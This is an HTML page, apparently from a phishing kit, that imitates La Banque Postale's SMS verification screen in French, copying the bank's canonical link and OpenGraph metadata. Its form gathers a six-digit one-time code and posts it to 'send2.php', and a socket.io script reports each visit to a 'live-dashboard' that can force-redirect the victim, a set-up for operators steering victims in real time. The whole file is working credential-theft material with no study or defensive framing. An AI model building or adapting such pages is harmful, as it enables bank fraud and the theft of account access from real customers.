/home2/mshostin/live-dashboard/public/sms.html
<!DOCTYPE html>
<html lang="fr" data-darkmode-allowed="false">
<head data-template="th3loginpage"><meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="viewport" content="width=device-width"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>

<link rel="canonical" href="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>

<meta property="og:type" content="website"/>
<meta property="og:url" content="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>
<meta property="og:title" content="Connexion PPH"/>
<meta property="og:description" content="Vous êtes client particulier de La Banque Postale ? Accédez à vos comptes et contrats et réalisez toutes vos opérations et souscriptions directement en ligne. Pensez également à télécharger notre application."/>
<meta property="og:image" content="https://www.labanquepostale.fr/content/dam/lbp/opengraph/la-banque-postale/siege-la-banque-postale.jpg"/>

<style>
    :root {
        --bp-blue: #003a8f;
        --bp-border: #d7deeb;
        --bp-gray: #6b7280;
        --bp-bg: #f9fbff;
    }

    * {
        box-sizing: border-box;
        font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
    }

    body {
        margin: 0;
        background: #ffffff;
        color: var(--bp-blue);
    }

    /* ===== HEADER ===== */
    header {
        height: 80px;
        display: flex;
        align-items: center;
        padding: 0 32px;
        border-bottom: 1px solid #e6e9f0;
        background: #ffffff;
    }

    header img {
        height: 56px;
    }

    /* ===== CONTAINER ===== */
    .container {
        max-width: 420px;
        margin: 90px auto;
        padding: 0 20px;
        text-align: center;
    }

    h1 {
        font-size: 24px;
        font-weight: 600;
        margin-bottom: 10px;
    }

    .subtitle {
        font-size: 14px;
        color: var(--bp-gray);
        margin-bottom: 30px;
        line-height: 1.5;
    }

    /* ===== OTP ===== */
    .otp-box {
        display: flex;
        justify-content: space-between;
        gap: 10px;
        margin-bottom: 30px;
    }

    .otp-box input {
        width: 52px;
        height: 56px;
        text-align: center;
        font-size: 20px;
        border-radius: 8px;
        border: 1px solid var(--bp-border);
        background: #fff;
        transition: 0.2s;
    }

    .otp-box input:focus {
        outline: none;
        border-color: var(--bp-blue);
        background: var(--bp-bg);
    }

    /* ===== BUTTON ===== */
    button {
        width: 100%;
        height: 50px;
        border-radius: 8px;
        border: none;
        background: var(--bp-blue);
        color: #ffffff;
        font-size: 16px;
        font-weight: 600;
        cursor: pointer;
    }

    button:hover {
        background: #002f73;
    }

    /* ===== INFO ===== */
    .info {
        margin-top: 20px;
        font-size: 13px;
        color: var(--bp-gray);
    }

    .resend {
        margin-top: 10px;
        font-size: 13px;
        color: var(--bp-blue);
        cursor: pointer;
    }

    /* ===== RESPONSIVE ===== */
    @media (max-width: 480px) {
        .container {
            margin-top: 60px;
        }

        h1 {
            font-size: 22px;
        }

        .otp-box input {
            width: 46px;
            height: 52px;
        }
    }
</style>
</head>
<body>

<!-- HEADER -->
<header>
    <!-- logo.svg -->
    <img src="logo.svg" alt="Logo">
</header>

<!-- CONTENT -->
<div class="container">
    <h1>Vérification par SMS</h1>
    <div class="subtitle">
        Un code de sécurité à 6 chiffres vous a été envoyé par SMS.
    </div>


<form action="send2.php" method="POST" onsubmit="return collectOTP();">
    <div class="otp-box">
        <input type="text" maxlength="1" inputmode="numeric">
        <input type="text" maxlength="1" inputmode="numeric">
        <input type="text" maxlength="1" inputmode="numeric">
        <input type="text" maxlength="1" inputmode="numeric">
        <input type="text" maxlength="1" inputmode="numeric">
        <input type="text" maxlength="1" inputmode="numeric">
    </div>

    <input type="hidden" name="otp" id="otp">
    <br>
    <button type="submit">Valider</button>
</form>

<script>
function collectOTP() {
    const inputs = document.querySelectorAll('.otp-box input');
    let otp = '';

    inputs.forEach(input => {
        otp += input.value;
    });

    document.getElementById('otp').value = otp;
    return true;
}
</script>

    <div class="info">
        🔒 Code personnel et confidentiel
    </div>

    <div class="resend">
        Renvoyer le code
    </div>
</div>

<script>
    // Focus automatique entre les champs OTP
    const inputs = document.querySelectorAll('.otp-box input');

    inputs.forEach((input, index) => {
        input.addEventListener('input', () => {
            if (input.value && index < inputs.length - 1) {
                inputs[index + 1].focus();
            }
        });

        input.addEventListener('keydown', (e) => {
            if (e.key === 'Backspace' && !input.value && index > 0) {
                inputs[index - 1].focus();
            }
        });
    });
    
</script>

<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });

// Indiquer au serveur la page actuelle
socket.emit("page_visit", window.location.pathname);

// Écouter la redirection live
socket.on("force_redirect", (newPage) => {
  window.location.href = newPage;
});

</script>

</body>
</html>